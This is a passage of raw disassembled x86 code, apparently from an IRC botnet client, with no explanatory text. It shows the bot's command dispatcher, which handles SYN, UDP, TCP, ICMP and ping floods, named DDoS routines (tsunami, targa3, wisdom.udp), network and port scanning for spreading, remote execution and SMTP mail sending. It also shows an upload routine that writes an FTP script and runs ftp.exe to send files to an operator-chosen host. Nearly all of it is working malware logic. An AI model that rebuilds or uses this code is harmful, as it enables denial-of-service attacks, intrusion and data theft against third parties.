push [ebp+arg_8] ; Str2
push offset aAa ; "aa"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408CAD
push [ebp+arg_8] ; Str2
push offset aPrivmsg_0 ; "privmsg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408C58
push [ebp+arg_8] ; Str2
push offset aPm ; "pm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408C58
push [ebp+arg_8] ; Str2
push offset aAction ; "action"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408BEB
push [ebp+arg_8] ; Str2
push offset aA ; "a"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408BEB
push [ebp+arg_8] ; Str2
push offset aCycle ; "cycle"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408B87
push [ebp+arg_8] ; Str2
push offset aCy ; "cy"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408B87
push [ebp+arg_8] ; Str2
push offset aMode ; "mode"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408B4B
push [ebp+arg_8] ; Str2
push offset aM_0 ; "m"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408B4B
push [ebp+arg_8] ; Str2
push offset aC_raw ; "c_raw"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408ADC
push [ebp+arg_8] ; Str2
push offset aC_r ; "c_r"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408ADC
push [ebp+arg_8] ; Str2
push offset aC_mode ; "c_mode"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408A56
push [ebp+arg_8] ; Str2
push offset aC_m ; "c_m"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408A56
push [ebp+arg_8] ; Str2
push offset aC_nick ; "c_nick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4089E6
push [ebp+arg_8] ; Str2
push offset aC_n ; "c_n"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4089E6
push [ebp+arg_8] ; Str2
push offset aC_join ; "c_join"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4089C0
push [ebp+arg_8] ; Str2
push offset aC_j ; "c_j"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4089C0
push [ebp+arg_8] ; Str2
push offset aC_part ; "c_part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40895C
push [ebp+arg_8] ; Str2
push offset aC_p ; "c_p"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40895C
push [ebp+arg_8] ; Str2
push offset aTarga3 ; "targa3"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408887
push [ebp+arg_8] ; Str2
push offset aT3 ; "t3"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408887
push [ebp+arg_8] ; Str2
push offset aTsunami ; "tsunami"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40878C
push [ebp+arg_8] ; Str2
push offset aTsn ; "tsn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40878C
push [ebp+arg_8] ; Str2
push offset aRepeat ; "repeat"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408688
push [ebp+arg_8] ; Str2
push offset aRp ; "rp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408688
push [ebp+arg_8] ; Str2
push offset aDelay ; "delay"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4085E9
push [ebp+arg_8] ; Str2
push offset aDe ; "de"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4085E9
push [ebp+arg_8] ; Str2
push offset aJpDe10 ; "jp]de10"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408458
push [ebp+arg_8] ; Str2
push offset aJp10 ; "jp]10"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408458
push [ebp+arg_8] ; Str2
push offset aExecute ; "execute"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4083C5
push [ebp+arg_8] ; Str2
push offset aE ; "e"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4083C5
push [ebp+arg_8] ; Str2
push offset aFindfile ; "findfile"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4082B6
push [ebp+arg_8] ; Str2
push offset aFf ; "ff"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4082B6
push [ebp+arg_8] ; Str2
push offset aRename ; "rename"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40823F
push [ebp+arg_8] ; Str2
push offset aMv ; "mv"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40823F
push [ebp+arg_8] ; Str2
push offset aIcmpflood ; "icmpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408142
push [ebp+arg_8] ; Str2
push offset aIcmp ; "icmp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408142
mov eax, [ebp+esi+Str2]
cmp eax, ebx
mov [ebp+Src], eax
jz loc_401E94
push [ebp+arg_8] ; Str2
push offset aClone_0 ; "clone"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40805A
push [ebp+arg_8] ; Str2
push offset aC_0 ; "c"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40805A
push [ebp+arg_8] ; Str2
push offset aDdos_syn ; "ddos.syn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407F61
push [ebp+arg_8] ; Str2
push offset aDdos_ack ; "ddos.ack"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407F61
push [ebp+arg_8] ; Str2
push offset aDdos_random ; "ddos.random"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407F61
push [ebp+arg_8] ; Str2
push offset aWisdom_udp ; "wisdom.udp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4067D7
push 7Fh
lea eax, [ebp+var_327C]
pop esi
push esi ; Count
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_31FC]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_317C]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_30FC]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3074], eax
push ebx ; int
lea eax, [ebp+Dst]
push 13h ; int
push eax ; Source
mov [ebp+var_3078], edi
mov [ebp+var_3280], esi
call sub_40B0F7
add esp, 3Ch
mov [ebp+var_307C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3280]
push ebx
push eax
push offset sub_4146CF
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_307C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4067C6
loc_4067B0: ; CODE XREF: sub_401ACD+4CF7j
cmp [ebp+var_3070], ebx
jnz loc_403DA1
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_4067B0
; ---------------------------------------------------------------------------
loc_4067C6: ; CODE XREF: sub_401ACD+4CE1j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42B298
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_4067D7: ; CODE XREF: sub_401ACD+4C37j
push [ebp+arg_8] ; Str2
push offset aSynflood ; "synflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407E79
push [ebp+arg_8] ; Str2
push offset aSyn ; "syn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407E79
push [ebp+arg_8] ; Str2
push offset aSkysyn ; "skysyn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_406904
push 7Fh
lea eax, [ebp+var_36A4]
pop esi
push esi ; Count
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3624]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_35A4]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3524]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A0], eax
push [ebp+Src]
mov eax, [ebp+var_8]
mov [ebp+var_349C], eax
lea eax, [ebp+Dst]
push edi
mov [ebp+var_36A8], esi
push [ebp+Source]
push offset asc_42B250 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 10h ; int
push eax ; Source
call sub_40B0F7
add esp, 20h
mov [ebp+var_34A4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36A8]
push ebx
push eax
push offset sub_413627
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_34A4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4068F3
loc_4068DD: ; CODE XREF: sub_401ACD+4E24j
cmp [ebp+var_3498], ebx
jnz loc_407279
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_4068DD
; ---------------------------------------------------------------------------
loc_4068F3: ; CODE XREF: sub_401ACD+4E0Ej
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_42B214
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_406904: ; CODE XREF: sub_401ACD+4D49j
push [ebp+arg_8] ; Str2
push offset aPhatwonk ; "phatwonk"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407D91
push [ebp+arg_8] ; Str2
push offset aWonk ; "wonk"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407D91
push [ebp+arg_8] ; Str2
push offset aJpldg10 ; "jpldg10"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407C53
push [ebp+arg_8] ; Str2
push offset aJpl10 ; "jpl10"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407C53
push [ebp+arg_8] ; Str2
push offset aRedirect ; "redirect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407B56
push [ebp+arg_8] ; Str2
push offset aRd ; "rd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407B56
push [ebp+arg_8] ; Str2
push offset aScan_0 ; "scan"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407A63
push [ebp+arg_8] ; Str2
push offset aSc ; "sc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407A63
push [ebp+arg_8] ; Str2
push offset aC_privmsg ; "c_privmsg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40795E
push [ebp+arg_8] ; Str2
push offset aC_pm ; "c_pm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40795E
push [ebp+arg_8] ; Str2
push offset aC_action ; "c_action"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407866
push [ebp+arg_8] ; Str2
push offset aC_a ; "c_a"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407866
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401E94
push [ebp+arg_8] ; Str2
push offset aPortscan ; "portscan"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407760
push [ebp+arg_8] ; Str2
push offset aPsc ; "psc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407760
push [ebp+arg_8] ; Str2
push offset aAdvscan ; "advscan"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407299
push [ebp+arg_8] ; Str2
push offset aAdv ; "adv"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407299
push [ebp+arg_8] ; Str2
push offset aUdpflood ; "udpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407150
push [ebp+arg_8] ; Str2
push offset aUdp ; "udp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407150
push [ebp+arg_8] ; Str2
push offset aU ; "u"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407150
push [ebp+arg_8] ; Str2
push offset aNetsend ; "netsend"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407042
push [ebp+arg_8] ; Str2
push offset aNs ; "ns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_407042
push [ebp+arg_8] ; Str2
push offset aPingflood ; "pingflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406F18
push [ebp+arg_8] ; Str2
push offset aPing_0 ; "ping"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406F18
push [ebp+arg_8] ; Str2
push offset aP ; "p"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406F18
push [ebp+arg_8] ; Str2
push offset aTcpflood ; "tcpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406D6F
push [ebp+arg_8] ; Str2
push offset aTcp ; "tcp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_406D6F
push [ebp+arg_8] ; Str2
push offset aEmail ; "email"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_406D17
push [ebp+Source] ; Source
lea eax, [ebp+var_47EC]
push eax ; Dest
call _strcpy
push edi ; Str
call _atoi
push [ebp+Src] ; Source
mov [ebp+Source], eax
lea eax, [ebp+var_4188]
push eax ; Dest
call _strcpy
push [ebp+arg_18] ; Source
lea eax, [ebp+var_4588]
push eax ; Dest
call _strcpy
push offset asc_42D124 ; " "
push offset a_ ; "_"
push [ebp+esi+var_7C] ; Src
call sub_417EEF
push eax ; Source
lea eax, [ebp+var_4288]
push eax ; Dest
call _strcpy
add esp, 30h
lea eax, [ebp+var_5588]
push eax
push 101h
call dword_4CB5C4 ; WSAStartup
lea eax, [ebp+var_47EC]
push eax
call dword_4CB6D8 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_4CB6D4 ; socket
push [ebp+Source]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CB654 ; htons
mov [ebp+var_31A], ax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4588]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_5988]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax ; Dest
call _sprintf
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CB5FC ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CB66C ; recv
lea eax, [ebp+var_4088]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_5988]
push eax
push esi
call dword_4CB6A4 ; send
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CB66C ; recv
push esi
call dword_4CB6EC ; closesocket
call dword_4CB5AC ; WSACleanup
lea eax, [ebp+var_4588]
push eax
push offset asc_42B0D4 ; "-"
loc_406CD0: ; CODE XREF: sub_401ACD+2E83j
; sub_401ACD+4667j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
loc_406CDC: ; CODE XREF: sub_401ACD+248Cj
add esp, 0Ch
loc_406CDF: ; CODE XREF: sub_401ACD+4585j
; sub_401ACD+6654j ...
cmp [ebp+var_8], ebx
jnz short loc_406D00
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
loc_406D00: ; CODE XREF: sub_401ACD+29B3j
; sub_401ACD+2A06j ...
mov esi, [ebp+File]
loc_406D03: ; CODE XREF: sub_401ACD+68F3j
; sub_401ACD+78E3j ...
lea eax, [ebp+Dst]
push eax
call sub_4151AD
pop ecx
mov eax, esi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_406D17: ; CODE XREF: sub_401ACD+50ADj
push [ebp+arg_8] ; Str2
push offset aHttpcon ; "httpcon"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_406D41
push [ebp+arg_8] ; Str2
push offset aHcon ; "hcon"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4072E9
loc_406D41: ; CODE XREF: sub_401ACD+525Bj
push [ebp+esi+var_7C] ; int
push [ebp+arg_18] ; int
push [ebp+Src] ; int
push edi ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+Source] ; int
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_4100DC
jmp loc_4040AB
; ---------------------------------------------------------------------------
loc_406D6F: ; CODE XREF: sub_401ACD+507Fj
; sub_401ACD+5096j
push [ebp+Source] ; Format
mov esi, 80h
lea eax, [ebp+var_1354]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+var_1354]
push eax ; Str2
push offset aSyn ; "syn"
call _strcmp
add esp, 14h
test eax, eax
jz short loc_406DD4
lea eax, [ebp+var_1354]
push eax ; Str2
push offset aAck ; "ack"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_406DD4
lea eax, [ebp+var_1354]
push eax ; Str2
push offset aRandom_0 ; "random"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_406DD4
push offset unk_42B08C
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_406DD4: ; CODE XREF: sub_401ACD+52CDj
; sub_401ACD+52E4j ...
push [ebp+arg_18] ; Str
call _atoi
cmp eax, ebx
pop ecx
mov [ebp+var_124C], eax
jle loc_406F00
push [ebp+Source] ; Format
lea eax, [ebp+var_1354]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_13D4]
push edi ; Format
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+Src] ; Str
call _atoi
mov [ebp+var_1250], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+Format] ; Format
setnz al
mov [ebp+var_1248], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13D8], eax
lea eax, [ebp+var_12D4]
push esi ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_1248], ebx
mov [ebp+var_1244], eax
mov eax, [ebp+var_8]
mov [ebp+var_1240], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406E71
mov eax, offset aNormal ; "Normal"
loc_406E71: ; CODE XREF: sub_401ACD+539Dj
push [ebp+arg_18]
push [ebp+Src]
push edi
push [ebp+Source]
push eax
push offset asc_42B048 ; "-"
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 14h ; int
push eax ; Source
call sub_40B0F7
add esp, 2Ch
mov [ebp+var_1254], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13D8]
push ebx
push eax
push offset sub_413E36
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_1254]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_406EEF
loc_406ED9: ; CODE XREF: sub_401ACD+5420j
cmp [ebp+var_123C], ebx
jnz loc_40828C
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_406ED9
; ---------------------------------------------------------------------------
loc_406EEF: ; CODE XREF: sub_401ACD+540Aj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42B010
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_406F00: ; CODE XREF: sub_401ACD+5318j
push offset asc_42AFD8 ; "-"
loc_406F05: ; CODE XREF: sub_401ACD+2019j
; sub_401ACD+202Fj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_40828C
; ---------------------------------------------------------------------------
loc_406F18: ; CODE XREF: sub_401ACD+503Aj
; sub_401ACD+5051j ...
cmp dword_4CB744, ebx
jnz loc_407027
mov eax, [ebp+var_8]
push 7Fh ; Count
push [ebp+Source] ; Source
mov [ebp+var_FF4], eax
mov eax, [ebp+var_4]
mov [ebp+var_FF8], eax
lea eax, [ebp+var_108C]
push eax ; Dest
call _strncpy
push edi ; Str
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_100C], eax
call _atoi
push [ebp+arg_18] ; Str
mov [ebp+var_1008], eax
call _atoi
push 7Fh ; Count
mov [ebp+var_1004], eax
push [ebp+Format] ; Source
lea eax, [ebp+var_110C]
push eax ; Dest
call _strncpy
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1110], eax
lea eax, [ebp+var_108C]
push [ebp+var_1004]
push [ebp+var_1008]
push eax
lea eax, [ebp+Dst]
push [ebp+var_100C]
push offset asc_42AF90 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 16h ; int
push eax ; Source
call sub_40B0F7
add esp, 24h
mov [ebp+var_FFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1110]
push ebx
push eax
push offset sub_413285
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_FFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407016
loc_407000: ; CODE XREF: sub_401ACD+5547j
cmp [ebp+var_FF0], ebx
jnz loc_40828C
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_407000
; ---------------------------------------------------------------------------
loc_407016: ; CODE XREF: sub_401ACD+5531j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42AF58
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_407027: ; CODE XREF: sub_401ACD+5451j
push 1FFh ; Count
lea eax, [ebp+Dst]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax ; Dest
call _strncpy
jmp loc_408289
; ---------------------------------------------------------------------------
loc_407042: ; CODE XREF: sub_401ACD+500Cj
; sub_401ACD+5023j
push edi
lea eax, [ebp+Dst]
push [ebp+Source]
push [ebp+Src]
push offset asc_42AF04 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
push [ebp+Src] ; Str
call _strlen
mov edx, eax
push edi ; Str
mov edi, edx
call _strlen
push [ebp+Source] ; Str
add edi, eax
call _strlen
push [ebp+arg_8] ; Str
add edi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+arg_18] ; SubStr
lea eax, [eax+edi+7]
push eax ; Str
call _strstr
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+Src] ; Str
call _atoi
mov edi, [ebp+arg_1C]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_20], ebx
jle short loc_40713C
loc_4070C5: ; CODE XREF: sub_401ACD+561Cj
push [ebp+arg_C] ; int
push edi ; int
push [ebp+Source] ; Source
call sub_4185A5
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_1C], eax
jz short loc_4070ED
cmp eax, ebx
jnz short loc_40710C
inc [ebp+arg_20]
mov eax, [ebp+arg_20]
cmp eax, [ebp+arg_14]
jl short loc_4070C5
jmp short loc_407145
; ---------------------------------------------------------------------------
loc_4070ED: ; CODE XREF: sub_401ACD+560Dj
push ebx ; int
push [ebp+var_4] ; int
push offset unk_42AECC ; int
loc_4070F6: ; CODE XREF: sub_401ACD+5681j
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
jmp loc_4072E9
; ---------------------------------------------------------------------------
loc_40710C: ; CODE XREF: sub_401ACD+5611j
push [ebp+arg_1C]
lea eax, [ebp+Dst]
push offset asc_42AE98 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 20h
loc_40713C: ; CODE XREF: sub_401ACD+55F6j
cmp [ebp+arg_1C], ebx
jnz loc_4072E9
loc_407145: ; CODE XREF: sub_401ACD+561Ej
push ebx
push [ebp+var_4]
push offset unk_42AE64
jmp short loc_4070F6
; ---------------------------------------------------------------------------
loc_407150: ; CODE XREF: sub_401ACD+4FC7j
; sub_401ACD+4FDEj ...
mov eax, [ebp+var_8]
push 7Fh ; Count
push [ebp+Source] ; Source
mov [ebp+var_C64], eax
mov eax, [ebp+var_4]
mov [ebp+var_C68], eax
lea eax, [ebp+var_CFC]
push eax ; Dest
call _strncpy
push edi ; Str
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_C7C], eax
call _atoi
push [ebp+arg_18] ; Str
mov [ebp+var_C78], eax
call _atoi
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C74], eax
jz short loc_4071B5
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_C70], eax
jmp short loc_4071BB
; ---------------------------------------------------------------------------
loc_4071B5: ; CODE XREF: sub_401ACD+56D7j
mov [ebp+var_C70], ebx
loc_4071BB: ; CODE XREF: sub_401ACD+56E6j
push 7Fh ; Count
lea eax, [ebp+var_D7C]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_CFC]
mov [ebp+var_D80], esi
push [ebp+var_C74]
push [ebp+var_C78]
push eax
lea eax, [ebp+Dst]
push [ebp+var_C7C]
push offset asc_42AE1C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 17h ; int
push eax ; Source
call sub_40B0F7
add esp, 24h
mov [ebp+var_C6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D80]
push ebx
push eax
push offset sub_413411
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_C6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40725E
loc_40724C: ; CODE XREF: sub_401ACD+578Fj
cmp [ebp+var_C60], ebx
jnz short loc_407279
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_40724C
; ---------------------------------------------------------------------------
loc_40725E: ; CODE XREF: sub_401ACD+577Dj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset asc_42ADE4 ; "-"
loc_40726A: ; CODE XREF: sub_401ACD+4E32j
; sub_401ACD+62BFj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_407279: ; CODE XREF: sub_401ACD+4E16j
; sub_401ACD+5785j ...
cmp [ebp+var_8], ebx
jnz loc_4083BD
push ebx
push [ebp+var_4]
loc_407286: ; CODE XREF: sub_401ACD+22DFj
lea eax, [ebp+Dst]
push eax
push [ebp+Format]
push esi
jmp loc_4082A9
; ---------------------------------------------------------------------------
loc_407299: ; CODE XREF: sub_401ACD+4F99j
; sub_401ACD+4FB0j
push 0Bh
call sub_40B33F
push edi ; Str
mov [ebp+arg_1C], eax
call _atoi
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_407455
push [ebp+arg_1C]
lea eax, [ebp+Dst]
push offset asc_42ADA4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 20h
loc_4072E9: ; CODE XREF: sub_401ACD+526Ej
; sub_401ACD+563Aj ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401E94
push [ebp+arg_8] ; Str2
push offset aUpload ; "upload"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409855
push 4
push esi
call sub_416909
pop ecx
test eax, eax
pop ecx
jnz short loc_407325
push esi
push offset unk_42AD7C
jmp loc_408CDC
; ---------------------------------------------------------------------------
loc_407325: ; CODE XREF: sub_401ACD+584Bj
call ds:dword_4270A8 ; GetTickCount
push eax
call sub_41B8D8
pop ecx
call _rand
push 9
cdq
pop ecx
idiv ecx
push edx
call _rand
push 63h
cdq
pop ecx
idiv ecx
push edx
call _rand
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_51F8]
push edx
push eax
lea eax, [ebp+Filename]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax ; Dest
call _sprintf
lea eax, [ebp+Filename]
push offset Mode ; "ab"
push eax ; Filename
call _fopen
add esp, 20h
cmp eax, ebx
mov [ebp+File], eax
jz loc_401E94
push esi
push [ebp+arg_18]
push [ebp+Src]
push edi
push [ebp+Source]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax ; File
call _fprintf
push [ebp+File] ; File
call _fclose
add esp, 20h
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+var_4CF0]
push offset aSS_2 ; "-s:%s"
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+var_4CF0]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CB5C0
push [ebp+Source]
test eax, eax
push esi ; Format
jz short loc_4073F4
push offset unk_42AD0C
jmp short loc_4073F9
; ---------------------------------------------------------------------------
loc_4073F4: ; CODE XREF: sub_401ACD+591Ej
push offset asc_42ACDC ; "-"
loc_4073F9: ; CODE XREF: sub_401ACD+5925j
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_407422
push ebx ; int
